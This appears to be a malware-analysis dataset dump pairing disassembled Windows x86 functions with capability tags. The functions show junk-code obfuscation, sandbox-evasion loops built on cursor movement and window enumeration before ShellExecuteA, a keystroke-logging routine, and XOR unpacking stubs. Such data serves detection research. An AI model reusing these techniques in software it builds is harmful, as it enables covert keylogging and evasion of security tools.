joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005280
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1c0]
mov dword [ebp - 0x10], eax
mov al, 0x16
mov al, 0x72
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001de0
add esp, 8
mov al, 0x16
mov al, 0x72
call fcn.100026a0
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push str.qwmiig2ii
push str.fmxhijirhiv
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001e70
add esp, 8
push eax
call fcn.10001bd0
add esp, 0x10
test eax, eax
jne 0x100052ef
mov al, 0x16
mov al, 0x72
mov eax, 0xfffffffe
jmp 0x10005488
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x10005486
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x10005406
mov al, 0x16
mov al, 0x72
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x10005389
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x100053b9
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x21c], 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov dword [0x1000f460], 0
jmp 0x100053fa
cmp dword [ebp - 0x21c], 0
jne 0x100053db
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov dword [0x1000f460], 0
jmp 0x100053fa
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f460], eax
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x16
mov al, 0x72
push 0
push 0x10004d00
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x16
mov al, 0x72
movzx eax, byte [0x10010498]
test eax, eax
je 0x1000545b
cmp dword [ebp - 0x228], 0
jne 0x10005446
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x1000545b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x1000545b
mov eax, 1
jmp 0x10005488
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10005475
mov al, 0x16
mov al, 0x72
xor eax, eax
jmp 0x10005488
mov al, 0x16
mov al, 0x72
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005335
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008991
mov esp, ebp
pop ebp
ret
Function at 0x10005a00
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1c0]
mov dword [ebp - 0x10], eax
mov al, 0x16
mov al, 0x72
lea eax, [ebp - 0x430]
push eax
push 0x23
call fcn.10001de0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
call fcn.100026a0
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push str.qwmiig2ii
push str.oewtivwo
push 0
push 9
lea ecx, [ebp - 0x430]
push ecx
call fcn.10001e70
add esp, 8
push eax
call fcn.10001bd0
add esp, 0x10
test eax, eax
jne 0x10005a73
mov al, 0x16
mov al, 0x72
mov eax, 0xfffffffe
jmp 0x10005c10
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x10005c0e
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x220]
jbe 0x10005b92
mov al, 0x16
mov al, 0x72
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x438]
jne 0x10005b09
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x434]
je 0x10005b41
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x21c], 0
mov al, 0x16
mov al, 0x72
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0xc], ecx
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 0x434]
mov dword [ebp - 8], edx
mov al, 0x16
mov al, 0x72
mov dword [0x1000f460], 0
jmp 0x10005b82
cmp dword [ebp - 0x21c], 0
jne 0x10005b67
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov al, 0x16
mov al, 0x72
mov dword [0x1000f460], 0
jmp 0x10005b82
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f460], eax
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x16
mov al, 0x72
push 0
push 0x100054a0
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x16
mov al, 0x72
movzx eax, byte [0x100104a8]
test eax, eax
je 0x10005be3
cmp dword [ebp - 0x228], 0
jne 0x10005bce
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x10005be3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x10005be3
mov eax, 1
jmp 0x10005c10
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10005bfd
mov al, 0x16
mov al, 0x72
xor eax, eax
jmp 0x10005c10
mov al, 0x16
mov al, 0x72
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005ab9
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008991
mov esp, ebp
pop ebp
ret
Function at 0x10007090
Capabilities:
Create process on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1000f1c0]
mov dword [ebp - 4], eax
mov al, 0x16
mov al, 0x72
lea eax, [ebp - 0x420]
push eax
push 0x26
call fcn.10001de0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push 0x1000d238
lea ecx, [ebp - 0x420]
push ecx
call fcn.100089b0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push str.qgyrmrwx2ii
push str.qgejii
lea edx, [ebp - 0x420]
push edx
call fcn.10001730
add esp, 0xc
test eax, eax
jne 0x10007109
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
mov eax, 0xfffffffe
jmp 0x100071de
mov al, 0x16
mov al, 0x72
push 1
push 0x1000d23a
push 0x1000d23b
push 0x1000f468
push 0x1000d23c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x10007134
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x218], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x214], eax
mov eax, 1
test eax, eax
je 0x100071dc
mov al, 0x16
mov al, 0x72
push 0
push 0x10006970
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x16
mov al, 0x72
movzx ecx, byte [0x100104b2]
test ecx, ecx
je 0x100071b1
cmp dword [ebp - 0x218], 0
jne 0x1000719c
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x9c40
mov dword [ebp - 0x218], eax
jmp 0x100071b1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x218]
jbe 0x100071b1
mov eax, 1
jmp 0x100071de
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x214]
jbe 0x100071c7
xor eax, eax
jmp 0x100071de
mov al, 0x16
mov al, 0x72
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x16
mov al, 0x72
jmp 0x1000714f
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.10008991
mov esp, ebp
pop ebp
ret
Function at 0x100075f0
Capabilities:
Create process on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1c0]
mov dword [ebp - 0x10], eax
mov al, 0x16
mov al, 0x72
lea eax, [ebp - 0x430]
push eax
push 0x26
call fcn.10001de0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push 0x1000d240
lea ecx, [ebp - 0x430]
push ecx
call fcn.100089b0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push str.wixyt2ii
push str.ezmve
lea edx, [ebp - 0x430]
push edx
call fcn.10001730
add esp, 0xc
test eax, eax
jne 0x10007665
mov al, 0x16
mov al, 0x72
mov eax, 0xfffffffe
jmp 0x1000782d
mov al, 0x16
mov al, 0x72
push 1
push 0x1000d242
push str.3VIQSZI
push 0x1000f468
push 0x1000d243
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x10007690
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1d4c0
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x1000782b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x220]
jbe 0x100077ab
mov al, 0x16
mov al, 0x72
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x438]
jne 0x1000772a
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x434]
je 0x1000775a
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x21c], 0
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0xc], edx
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 0x434]
mov dword [ebp - 8], eax
mov dword [0x1000f460], 0
jmp 0x1000779b
cmp dword [ebp - 0x21c], 0
jne 0x1000777c
mov al, 0x16
mov al, 0x72
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x21c], ecx
mov dword [0x1000f460], 0
jmp 0x1000779b
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f460], eax
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x16
mov al, 0x72
push 0
push 0x100071f0
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x16
mov al, 0x72
movzx eax, byte [0x100104b3]
test eax, eax
je 0x10007800
cmp dword [ebp - 0x228], 0
jne 0x100077eb
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x2710
mov dword [ebp - 0x228], eax
jmp 0x10007800
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x10007800
mov eax, 1
jmp 0x1000782d
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10007816
xor eax, eax
jmp 0x1000782d
mov al, 0x16
mov al, 0x72
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x16
mov al, 0x72
jmp 0x100076d6
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008991
mov esp, ebp
pop ebp
ret
Function at 0x10007c30
Capabilities:
Create process on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x1000f1c0]
mov dword [ebp - 0x10], eax
mov al, 0x16
mov al, 0x72
lea eax, [ebp - 0x430]
push eax
push 0x26
call fcn.10001de0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push 0x1000d244
lea ecx, [ebp - 0x430]
push ecx
call fcn.100089b0
add esp, 8
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
push str.tswxmrwxepp2ii
push str.j1wigyvi
lea edx, [ebp - 0x430]
push edx
call fcn.10001730
add esp, 0xc
test eax, eax
jne 0x10007ca9
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
mov eax, 0xfffffffe
jmp 0x10007e71
mov al, 0x16
mov al, 0x72
push 1
push 0x1000d246
push str.3xYrMrwxepp
push 0x1000f468
push 0x1000d247
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x10007cd4
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3a980
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x10007e6f
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x220]
jbe 0x10007def
mov al, 0x16
mov al, 0x72
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x438]
jne 0x10007d6e
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x434]
je 0x10007d9e
mov al, 0x16
mov al, 0x72
mov dword [ebp - 0x21c], 0
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0xc], edx
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 0x434]
mov dword [ebp - 8], eax
mov dword [0x1000f460], 0
jmp 0x10007ddf
cmp dword [ebp - 0x21c], 0
jne 0x10007dc0
mov al, 0x16
mov al, 0x72
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x21c], ecx
mov dword [0x1000f460], 0
jmp 0x10007ddf
mov al, 0x16
mov al, 0x72
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x21c]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x1000f460], eax
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
mov edx, dword [ebp - 4]
add edx, 0x64
mov dword [ebp - 0x220], edx
mov al, 0x16
mov al, 0x72
push 0
push 0x10007840
call dword [sym.imp.USER32.dll_EnumWindows]
mov al, 0x16
mov al, 0x72
mov al, 0x16
mov al, 0x72
movzx eax, byte [0x100104b4]
test eax, eax
je 0x10007e48
cmp dword [ebp - 0x228], 0
jne 0x10007e33
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1d4c0
mov dword [ebp - 0x228], eax
jmp 0x10007e48
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x228]
jbe 0x10007e48
mov eax, 1
jmp 0x10007e71
mov al, 0x16
mov al, 0x72
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 0x224]
jbe 0x10007e5e
xor eax, eax
jmp 0x10007e71
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x16
mov al, 0x72
jmp 0x10007d1a
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.10008991
mov esp, ebp
pop ebp
ret
Function at 0x10008a98
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
jne 0x10008b75
mov eax, 0x94
call fcn.10009840
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10008b3c
mov ecx, dword [esi + 0x10]
mov dword [0x100104dc], ecx
mov eax, dword [esi + 4]
mov dword [0x100104e8], eax
mov edx, dword [esi + 8]
mov dword [0x100104ec], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x100104e0], esi
je 0x10008afd
or esi, 0x8000
mov dword [0x100104e0], esi
shl eax, 8
add eax, edx
xor esi, esi
push esi
mov dword [0x100104e4], eax
call fcn.100095c5
test eax, eax
pop ecx
je 0x10008b3c
call fcn.100097b7
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x10010a54], eax
call fcn.10009695
mov dword [0x100104bc], eax
call fcn.10009108
test eax, eax
jge 0x10008b40
call fcn.10009616
xor eax, eax
jmp 0x10008b66
call fcn.10009509
test eax, eax
jl 0x10008b6e
call fcn.100092d6
test eax, eax
jl 0x10008b6e
push esi
call fcn.10008fbd
test eax, eax
pop ecx
jne 0x10008b6e
inc dword [0x100104b8]
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc
call fcn.100092b3
jmp 0x10008b37
xor esi, esi
cmp dword [ebp + 0xc], esi
jne 0x10008b63
cmp dword [0x100104b8], esi
jle 0x10008b3c
dec dword [0x100104b8]
cmp dword [0x10010518], esi
jne 0x10008b97
call fcn.100090f9
call fcn.100092b3
call fcn.10009616
jmp 0x10008b63

Function at 0x10009027
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x1001051c], esi
push edi
jne 0x10009047
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x10010518], esi
mov byte [0x10010514], al
jne 0x100090ad
mov ecx, dword [0x10010a48]
test ecx, ecx
je 0x1000908e
mov eax, dword [0x10010a44]
sub eax, 4
cmp eax, ecx
jmp 0x10009087
mov eax, dword [eax]
test eax, eax
je 0x10009079
call eax
mov eax, dword [0x10010a44]
sub eax, 4
cmp eax, dword [0x10010a48]
mov dword [0x10010a44], eax
jae 0x10009071
mov eax, 0x1000f01c
mov esi, 0x1000f020
cmp eax, esi
mov edi, eax
jae 0x100090ad
mov eax, dword [edi]
test eax, eax
je 0x100090a6
call eax
add edi, 4
cmp edi, esi
jb 0x1000909e
mov eax, 0x1000f024
mov esi, 0x1000f028
cmp eax, esi
mov edi, eax
jae 0x100090cc
mov eax, dword [edi]
test eax, eax
je 0x100090c5
call eax
add edi, 4
cmp edi, esi
jb 0x100090bd
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x100090e6
push dword [ebp + 8]
mov dword [0x1001051c], 1
call fcn.10008f8d
pop ebp
ret
Function at 0x10009a09
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10010634], ebx
push esi
push edi
jne 0x10009a89
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x10009ac4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x10010634], eax
je 0x10009ac4
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x10010638], eax
call esi
cmp dword [0x100104dc], 2
mov dword [0x1001063c], eax
jne 0x10009a89
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x10010644], eax
je 0x10009a89
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x10010640], eax
mov eax, dword [0x10010640]
test eax, eax
je 0x10009ace
call eax
test eax, eax
je 0x10009ab5
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10010644]
test eax, eax
je 0x10009ab5
test byte [ebp - 8], 1
jne 0x10009ace
cmp dword [0x100104e8], 4
jb 0x10009ac8
or byte [ebp + 0x12], 0x20
jmp 0x10009aed
xor eax, eax
jmp 0x10009afd
or byte [ebp + 0x12], 4
jmp 0x10009aed
mov eax, dword [0x10010638]
test eax, eax
je 0x10009aed
call eax
mov ebx, eax
test ebx, ebx
je 0x10009aed
mov eax, dword [0x1001063c]
test eax, eax
je 0x10009aed
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10010634]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000c029
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.10009840
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000c0c4
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x100104dc]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x1000c0c4
cmp eax, 1
je 0x1000c0e5
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000c0c4
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x1000c091
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x1000c0c0
xor eax, eax
inc eax
jmp 0x1000c104
cmp edi, eax
jae 0x1000c0c8
xor eax, eax
jmp 0x1000c104
cmp eax, esi
jae 0x1000c0cf
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x100104dc]
jmp 0x1000c0e8
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x473468
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, ebx
mov edx, 2
call fcn.00404cd0
push 0
mov eax, ebx
call fcn.00404b9c
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x4734b4
je 0x4734bd
dec eax
je 0x4734d2
jmp 0x4734cb
mov eax, ebx
call fcn.00404684
jmp 0x4734d2
mov eax, ebx
mov edx, 1
call fcn.00404cd0
jmp 0x4734d2
mov eax, ebx
call fcn.00404684
add esp, 0x100
pop edi
pop esi
pop ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2cf95ecd
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x5ed30f48
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..retplne
mov ebx, 0x40de38
nop
nop
mov ecx, 0x4dd556d7
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5b025a59
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219